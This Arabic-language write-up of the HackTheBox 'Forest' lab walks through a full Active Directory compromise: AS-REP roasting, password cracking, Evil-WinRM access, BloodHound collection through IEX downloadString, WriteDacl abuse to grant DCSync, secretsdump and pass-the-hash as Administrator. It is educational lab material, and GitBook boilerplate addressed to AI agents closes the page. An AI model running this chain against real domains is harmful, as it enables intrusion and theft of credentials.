> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md).

# شرح Forest HackTheBox

{% embed url="<https://app.hackthebox.com/machines/212>" %}

{% hint style="warning" %}
**المهارات:**

* AXFR - هجوم نقل منطقة النطاق (فشل)
* استطلاع RPC - الحصول على مستخدمي النطاق الصالحين
* تنفيذ هجوم AS-RepRoast باستخدام المستخدمين الذين تم الحصول عليهم
* كسر التجزئات
* استغلال WinRM - EvilWinRM
* استطلاع LDAP - ldapdomaindump
* استطلاع BloodHound
* جمع معلومات النظام باستخدام SharpHound.ps1 - PuckieStyle
* تمثيل البيانات وتصويرها في BloodHound
* العثور على متجه هجوم في BloodHound
* استغلال مجموعة Account Operators - إنشاء مستخدم جديد
* استغلال مجموعة Account Operators - تعيين مجموعة للمستخدم الذي تم إنشاؤه حديثًا
* استغلال WriteDacl في النطاق - منح امتيازات DCSync
* استغلال DCSync - Secretsdump.py
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/a08e712aa2bbd70157184dae3d5e0bd1096b8cd1" alt=""><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/83562e78c3edf690f97590056f6af317a6e9142d" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
```

<figure><img src="/files/b99d97aa00e5634b033e00718c35f162868fb68c" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractport:**/ باستخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

<figure><img src="/files/15d90f54e4894d6a0077489fdf2affc2341a7942" alt=""><figcaption></figcaption></figure>

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted":

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted
```

<figure><img src="/files/5bac51adcfcce4f9a9bfc4b22d027cdb16c45cbf" alt=""><figcaption></figcaption></figure>

## **القائمة والتشغيل:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### **استطلاع SMB:** <a href="#reconnaissance-smb" id="reconnaissance-smb"></a>

استخدام CrackMapExec لتحديد نظام التشغيل

```bash
crackmapexec cmb 10.10.10.161
```

<div data-full-width="true"><figure><img src="/files/8b35854734da3d914d8608508485bd248db328cd" alt=""><figcaption></figcaption></figure></div>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به/ في `/etc/hosts` الملف.

<figure><img src="/files/63d71860e1f27ae6975d2f92faa820e8426b5967" alt=""><figcaption></figcaption></figure>

/*/استكشاف مشاركات SMB على الشبكة لتحديد الموارد المشتركة ولكن دون نتائج. //*

```bash
crackmapexec smb 10.10.10.161 --shares
```

```bash
smbclient -L 10.10.10.161 -N
```

<figure><img src="/files/b164e805e64e5ba34062f7a910e93967bcd3491c" alt=""><figcaption></figcaption></figure>

### **استطلاع RPC:** <a href="#reconnaissance-rpc" id="reconnaissance-rpc"></a>

استخدام rpcclient للتفاعل مع خدمات CPP وجمع معلومات الموارد

```bash
rpccclient -U "" 10.10.10.161 -N
enumdomusers
```

<figure><img src="/files/4509f05cd5a3ab478fad89bfb9e8f22ef6a2e684" alt=""><figcaption></figcaption></figure>

#### عرض المجموعات:

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups'
```

<figure><img src="/files/e4f1003ace143fcd8b1bcdd156c40102f38fa89f" alt=""><figcaption></figcaption></figure>

## هجوم ASREPRoast:

#### باستخدام قائمة من المستخدمين الصالحين، سننفذ هجوم AS-RepRoast لأننا لا نحتاج إلى كلمات مرور المستخدمين.

سنستخدم `grep` لتصفية أسماء المستخدمين، ثم إدخال هذه البيانات في ملف

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users
```

<figure><img src="/files/160c8dee3bd31e4c3bfe6f297270dd6330142306" alt=""><figcaption></figcaption></figure>

#### نستخدم الأداة GetNPUsers.py لاستخراج معلومات المستخدم بدون كلمة مرور:

```bash
GetNPUsers.py htb.local/ -no-pass -usersfile users
```

<figure><img src="/files/35d13721067d3c9f25e369659d22f9f6127d8e9e" alt=""><figcaption></figcaption></figure>

#### نسترجع تجزئة كلمة مرور المستخدم "lucinda" ونحاول كسرها باستخدام John the Ripper باستخدام قائمة كلمات مرور مُعدة مسبقًا:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/af646f939590574a1968065fd7e79675a2f22edf" alt=""><figcaption></figcaption></figure>

#### نستخدم CrackMapExec للتحقق مما إذا كانت كلمة المرور المكشوفة صحيحة عبر محاولة اتصال WinRM:

```bash
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<div data-full-width="true"><figure><img src="/files/18586008dcb6f0802a14d9dbb4f99bebb9bc664c" alt=""><figcaption></figcaption></figure></div>

#### أخيرًا، نستخدم Evil-WinRM للاتصال بالجهاز البعيد باستخدام معلومات الاعتماد التي تم كسرها:

```bash
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<figure><img src="/files/729b1e4063e690978dcb00f8ba31514b18aa1523" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات:

### استطلاع النطاق باستخدام BloodHound <a href="#domain-enumeration-with-bloodhound" id="domain-enumeration-with-bloodhound"></a>

<details>

<summary>تثبيت BloodHound:</summary>

```
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

/*/سجّل الدخول إلى Bloodhound باستخدام neo4j:neo4j. //*

![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74)

**جاري تشغيل BloodHound.**

```bash
bloodhound &> /dev/null & disown
```

</details>

<figure><img src="/files/5c9465b12e97039e90c8025aa4f73df8e33dd42c" alt=""><figcaption></figcaption></figure>

### جمع المعلومات باستخدام SharpHound.ps1 <a href="#collect-information-with-sharphound.ps1" id="collect-information-with-sharphound.ps1"></a>

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

### انقل البيانات التي تم جمعها إلى خادم Linux.

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1')
```

<figure><img src="/files/7309f4e504a578c49316ca885c4e044d02f7629c" alt=""><figcaption></figcaption></figure>

```bash
Invoke-BloodHound -CollectionMethod All
```

<figure><img src="/files/4241c79644a4b051bfbfff77f89539ca9cd70494" alt=""><figcaption></figcaption></figure>

#### ننقل ملف zip إلى فريقنا.

```bash
download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip
```

<figure><img src="/files/65a86107a09ee5c6bd3a21768ad42c26b03273bc" alt=""><figcaption></figcaption></figure>

/*/استيراد ملف zip في Bloodhound. //*

<figure><img src="/files/01469405385cb873442e85926ead0cbd4b0dd35c" alt=""><figcaption></figcaption></figure>

### تحليل وعمليات BloodHound <a href="#analyse-et-exploitation" id="analyse-et-exploitation"></a>

#### تصفية البيانات للعثور على أقصر مسار إلى مسؤول النطاق.

<div data-full-width="true"><figure><img src="/files/8307f5f102400213356985bbe506f84a55686985" alt=""><figcaption></figcaption></figure></div>

#### تحديد العضوية في مجموعة قد تكون مشكلة (Account Operator).

<div data-full-width="true"><figure><img src="/files/f20db829e9d36b6f16a1b706d3ef322f1fdc3606" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/94f37890cac95b8efe7977b9a072a9d417236e0f" alt=""><figcaption></figcaption></figure></div>

#### استخدام قدرة إنشاء المستخدم للتحضير لهجوم DCSync.

```bash
net user jordanmacia password123$ /add /domain
```

<figure><img src="/files/87d360a9d3bfcdedc9e04b71e98cc3609d0d5e86" alt=""><figcaption></figcaption></figure>

### محاولة DCSync دون صلاحيات كافية

```bash
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/1b9edaceb2ea41ae9bd30a84f19c9263c8d52abc" alt=""><figcaption></figcaption></figure>

#### تمت إضافة المستخدم إلى مجموعة ذات صلاحيات أعلى (`Exchange Windows Permissions`).

<figure><img src="/files/7ad323c724b2f66a070cefa113c74c24cd5da883" alt=""><figcaption></figcaption></figure>

```bash
net group "Exchange Windows Permissions" jordanmacia /add
```

<figure><img src="/files/4d43e1a2461c267e8545fcc211e945c5207d3979" alt=""><figcaption></figcaption></figure>

### هجوم WriteDACL:

<figure><img src="/files/47a44ebe1120dae20d3bb6e5747354c92b6c54c1" alt=""><figcaption></figcaption></figure>

```bash
$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword)
```

التحضير لهجوم WriteDACL باستخدام PowerView\.ps1 لإضافة الوظائف.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>" %}

<figure><img src="/files/42c043f35463b72cfe9a1c65d972cfea2002d02d" alt=""><figcaption></figcaption></figure>

#### نقل الملف

```
python3 -m http.server 80
```

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"
```

## ثغرة هجوم DCSync <a href="#dcsync-attack-vulnerability" id="dcsync-attack-vulnerability"></a>

#### شغّل أمر Add-DomainObjectAcl للحصول على التجزئات.

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync
```

#### استخدام Impacket لاستخراج التجزئات باستخدام المستخدم jordanmacia.

```
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/eb81e4c1b4cfd91641f4b17ebd11e3619f40ca98" alt=""><figcaption></figcaption></figure>

### هجوم Pass-the-Hash:

استخدام تجزئة NT الخاصة بالمسؤول في هجوم Pass-the-Hash.

```bash
evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

#### الوصول إلى النظام بصلاحيات المسؤول.

<figure><img src="/files/99146f739e36b0027033e422f9bcd20b70d3e9c3" alt=""><figcaption></figcaption></figure>

### العلم النهائي :)

<figure><img src="/files/b9a238c7a02be2faad0833ea3cd71503381f0917" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4d66d6ea8b65cb1db53f444e5c1c8213ebf4337a" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
